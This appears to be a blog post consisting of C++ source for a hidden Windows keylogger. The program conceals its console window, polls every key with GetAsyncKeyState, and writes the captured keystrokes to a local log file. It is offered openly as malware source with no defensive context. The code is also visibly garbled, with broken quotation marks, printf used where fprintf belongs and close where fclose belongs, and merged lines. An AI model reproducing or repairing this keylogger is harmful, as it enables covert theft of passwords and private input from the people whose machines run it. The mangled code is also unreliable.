#include <iostream>using
namespace std;
#include <windows.h>
#include <winuser.h>
int Save (int key_stroke, char
*file);
void Stealth();
int main() { Stealth();
char i;
while (1)
{
for(i = 8; i <= 190; i++)
{
if (GetAsyncKeyState(i) == -32767)
Save (i,”LOG.txt);
}
} system (?PAUSE?);
return 0;
}
/*
*********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) ||
(key_stroke == 2) )
return 0;
FILE*OUTPUT_FILE;
OUTPUT_FILE = fopen(file, ?a+?);
cout << key_stroke << endl;
if (key_stroke == 8) fprintf(OUTPUT_FILE,
?%s?, ?[BACKSPACE]?);
else if (key_stroke == 13)
printf(OUTPUT_FILE, ?%s?, ?n?);
else if (key_stroke == 32)
printf(OUTPUT_FILE,?%s?, ? ?);
else if (key_stroke == VK_TAB)
printf(OUTPUT_FILE,?%s?,
?[TAB]?);
else if (key_stroke == VK_SHIFT)
printf(OUTPUT_FILE,”%s”,
“[SHIFT]”);
else if (key_stroke == VK_CONTROL)
printf(OUTPUT_FILE, “%s”,
“[CONTROL]”);
else if (key_stroke == VK_ESCAPE)
printf(OUTPUT_FILE, “%s”,
“[ESCAPE]”);
else if (key_stroke == VK_END)
printf(OUTPUT_FILE,”%s”, “[END]”);
else if (key_stroke == VK_HOME)
printf(OUTPUT_FILE, “%s”,
“[HOME]”);
else if (key_stroke == VK_LEFT)
printf(OUTPUT_FILE,”%s”, “[LEFT]”);
else if (key_stroke == VK_UP)
printf(OUTPUT_FILE,”%s”, “[UP]”);
else if (key_stroke == VK_RIGHT)
printf(OUTPUT_FILE,”%s”, “[RIGHT]’);
else if (key_stroke == VK_DOWN)
printf(OUTPUT_FILE,”%s”, “[DOWN]”);
else if(key_stroke == 190 || key_stroke ==
110)
printf(OUTPUT_FILE,”%s?, ?.?);
else
printf(OUTPUT_FILE,”%s”, &key_stroke);
close (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void
Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA(“ConsoleWindowClass”,
NULL);
ShowWindow(Stealth,0);
}
GET
OUR ANDROID APP FOR FREE CLICK HERE
No comments:
Post a Comment